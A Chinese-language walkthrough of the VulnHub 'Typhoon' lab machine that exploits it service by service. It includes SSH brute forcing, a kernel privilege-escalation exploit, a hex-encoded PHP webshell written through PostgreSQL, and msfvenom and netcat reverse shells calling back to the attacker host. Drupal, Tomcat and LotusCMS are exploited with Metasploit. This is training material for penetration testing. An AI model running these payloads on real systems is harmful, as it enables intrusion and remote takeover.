• Typhoon靶机


    仅供个人娱乐

    靶机信息

    靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/

    一、主机探测

    arp-scan -l

    nmap -sV -p- -A 192.168.181.136

    扫描之后发现目标开放了很多的端口比如21(ftp),22(ssh),25(smtp),53(dns),80(http),…2049(nfs-acl),3306(mysql),5432(postgresql),6379(redis),8080(http),27017(mongodb)等。

    二、漏洞扫描

    21端口(ftp)

    nmap扫描结果为可以匿名访问

    在浏览器访问,发现什么都没有

    22端口(ssh)

    首先开始是想什么呢,ssh连接需要账号密码的,发现靶机名字为typhoon就想着去测试一下看看账号存不存在,利用ssh用户枚举漏洞进行测试

    发现端口22开放,其版本为openssh 6.6.1p1,利用OpenSSH新爆出的CVE爆出目标主机的用户,这对特定的用户爆破密码,建议爆破1000条。先用searchsploit查找OpenSSH 6.6.1p1出现的漏洞,找到两个用户名枚举漏洞.

    searchsploit openssh

    利用msf进行账号枚举。这里的用户名字典我采用:

    https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-user-passwd/names/namelist.txt

    设置数据

    结果显示

    结果用户存在,于是去想着爆破一下密码,看看是否为弱密码。

     hydra -l typhoon -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://192.168.181.136

    username: typhoonpassword: 789456123

    登录测试

     ssh typhoon@192.168.181.136

    25端口(smtp)

    发现开放25端口,版本为Postfix smtpd

    searchsploit postfix

    使用smtp-user-enum枚举用户名

    search smtp

    use 5

    设置参数

    53端口(DNS  ISC BIND9.9.5-3)

    查看是否存在漏洞,发现dns版本存在拒绝服务漏洞

    Searchsploit isc bind

    80端口(http)

    访问80端口http://192.168.181.136:80

    访问:http://192.168.1.104/robots.txt发现有个/monoadmin/目录,访问http://192.168.181.136/mongoadmin

    然后下面有两个链接点击creds,会发现一个账号密码,跟ssh爆破一样的。

    username: typhoon

    password: 789456123

    再次使用ssh连接

    漏洞提权一、

    searchsploit  linux 3.13.0

    然后将利用exp复制到/opt目录下

    cp /usr/share/exploitdb/exploits/linux/local/37292.c /opt

    使用python搭建小型http服务器,以提供利用exp下载

    python -m  SimpleHTTPServer 81

    将37292.c移动到桌面

    使用wget命令将该利用exp从kali主机下载到到目标主机tmp目录。(只有tmp目录具有写入文件的权限)

    cd /tmp

    wget  http://192.168.181.128/37292.c

    利用漏洞

    为了方便shell,使用python进行shell交互

    python -c 'import pty; pty.spawn("/bin/bash")'

    falg:

    进入root目录然后读取flag信息

    漏洞提权二、

    发现目标为ubuntu 14.04,去exploit-db搜索这个内核漏洞,然后下载

    poc地址:https://www.exploit-db.com/exploits/37292

    下载之后是一个.c文件,需要编译,把它上传到靶机编译运行

    改名为123.c   放置于/root

     scp /root/123.c typhoon@192.168.181.136:/tmp

    ls

    gcc 123.c -o 123

    ls

    ./123

    成功提权

    111端口(nfs,rpcbind)

    search nfs

    use 1

    设置参数以及结果

    445端口

    发现目标开放了445端口,使用enum4linux枚举目标共享信息

    enum4linux    ip

    扫描结果发现允许空账户、空密码登录,共享文件typhoon

    远程挂载

    mount -t cifs -o username='123',password='' //192.168.181.136/typhoon /mnt 

    cd /mnt

    ls

    5432端口(postgresql数据库)

    第一步msf模块测试一下

    search postgresql

    use 5或者use auxiliary/scanner/postgres/postgres_login

    set rhosts 192.168.181.136exploit

    结果显示

    发现账号密码username: postgrespassword: postgres

    登录psql数据库

    psql -h 192.168.181.136 -U postgres

    读取文件

    读取权限允许的文件

    select pg_read_file('postgresql.conf',0,1000);

    建表,并使用copy从文件写入数据到表

    DROP TABLE if EXISTS hua; 删除hua的表

    CREATE TABLE hua(t TEXT); 创建hua的表

    COPY hua FROM '/etc/passwd';复制passwd到hua表

    SELECT * FROM hua limit 1 offset 0; 查看第一行

    直接读出全部数据

    SELECT * FROM hua;

    利用数据库写文件

    INSERT INTO hua(t) VALUES ('hello,hua');赋值hello

    COPY hua(t) TO '/tmp/hua'; 复制到/tmp/hua

    SELECT * FROM hua; 查看

    数据库导入木马

    Msf shell

    接下来就可以利用“大对象” 数据写入法

    SELECT lo_create(6666); 创建OID

    delete from pg_largeobject where loid=6666; 清空内容

    接下来向”大对象”数据写入数据(木马),使用hex:

    在写数据之前,先生成一个木马

    msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.181.128 lport=6666 R > /root/1.php

    打开这个shell.php复制转换成16进制

    insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('.....', 'hex'));

    ......为脚本文件

    文件太大失败

    使用自己的反弹shell脚本 改为16进制

    导出数据到指定文件:

    SELECT lo_export(6666, '/var/www/html/shell.php');//默认导出到安装根目录 也可以带路径自由目录写shell

    接下来就是访问了(先msf开启监听,然后http://192.168.181.136/shell.php)

    Msfconsole

    Search handler

    Use 26或者 use exploit/multi/handler

    小马菜刀

    或者使用一句话木马加密hex

    3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E

    上传木马

    insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E', 'hex'));

    导出数据到指定文件:

    SELECT lo_export(6666, '/var/www/html/1.php');

    菜刀连接

    6379端口(redis)

    Redis未经授权访问漏洞利用,连接redis

    这个漏洞有三种方法利用1.利用redis写webshell2.利用”公私钥”认证获取root权限3.利用crontab反弹shell这三种方法都能可以,但就是利用不了,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了

    Redis未授权访问漏洞复现与利用

    https://www.cnblogs.com/bmjoker/p/9548962.html

    8080端口(Tomcat)

    浏览器访问http://192.168.181.136:8080

    发现需要登录

    于是想用msf测试存在账号密码

    Msfconsole

    Search tomcat

    Use 7

    结果显示

    等到账号密码username: tomcatpassword: tomcat

    查找漏洞

    利用mgr_upload漏洞 

    Search tomcat

    use 16

    设置参数

    Shell

    python -c 'import pty;pty.spawn("/bin/bash")'进行交互

    最后再tab文件里发现一个.sh文件具有高的执行权限,就想着往里面写代码进行再次提权.

    这时需要msfvenom创建bash代码

    msfvenom -p cmd/unix/reverse_netcat lhost=192.168.181.128 lport=5555 R

    将生成的恶意代码添加到script.sh文件中

    echo "mkfifo /tmp/qadshdh; nc 192.168.181.128 5555 0</tmp/qadshdh | /bin/sh >/tmp/qadshdh 2>&1; rm /tmp/qadshdh" > script.sh

    运行./script.sh之前开启监听

    python -c 'import pty;pty.spawn("/bin/bash")'进行交互

    Tomcat的后台管理获取shell

    通过google可知默认的tomcat后台目录为/manager/html,用户名:tomcat,密码:tomcat

    http://192.168.181.136:8080//manager/html

    我们可以msfvenom来生WAR文件

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.181.128   LPORT=4444  -f war -o evil.war

    可以看到evulll.war具体内容:

    7z l evil.war

    后台上传文件

    要访问恶意Web应用程序,请在浏览器的地址栏中输入以下内容:

    http://192.168.181.136:8080/evil/tudvpurwgjh.jsp

    http://192.168.181.136:8080/evil.war

    同是也可以上传大马war包

    本地监听NC可反弹

    同是也可以上传大马war包

    dirb 扫描

    在dirb扫描中有cms,durpal,phpmyadmin等

    Lotus CMS

    访问cms:http://192.168.181.136/cms

    然后我搜索了此CMS登录的默认凭据,我发现此CMS容易受到eval()函数中存在的一个远程执行代码漏洞的攻击。

    利用msf的lotus cms模块

    Msfconsole

    Search lotus

    Use 9或者use exploit/multi/http/lcms_php_exec

    设置参数

    结果显示

    Drupal CMS

    访问drupal:http://192.168.181.136/drupal

    再次使用msf的durpal cms模块

    Search durpal

    use 4或者use exploit/unix/webapp/drupal_drupalgeddon2

    设置参数

    结果显示

    others

    在dvwa文件的config配置文件中发现了phpmyadmin数据库的账号密码了

    username: root

    password: toor

    访问登录:http://192.168.181.136/phpmyadmin

    进去之后发现得到一些账号密码,结果发现是在靶机了搭建了两个web测试平台

  • 相关阅读:
    [读书笔记]捉虫日记
    花生壳建站全过程
    (step4.3.9)hdu 1584(蜘蛛牌——DFS)
    鼠标移到导航上面 当前的LI变色 处于当前的位置
    JavaScript学习笔记
    由Maximum Gap,对话桶排序,基数排序和统计排序
    安德鲁斯Launcher得到的装在手机的应用程序列表
    broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
    Ubuntu logomaker sh: 1: pngtopnm: not found 解决方案
    HDU 1598 find the most comfortable road (罗列+Kruskal) 并检查集合
  • 原文地址:https://www.cnblogs.com/bingtang123/p/12838375.html
Copyright © 2020-2023  润新知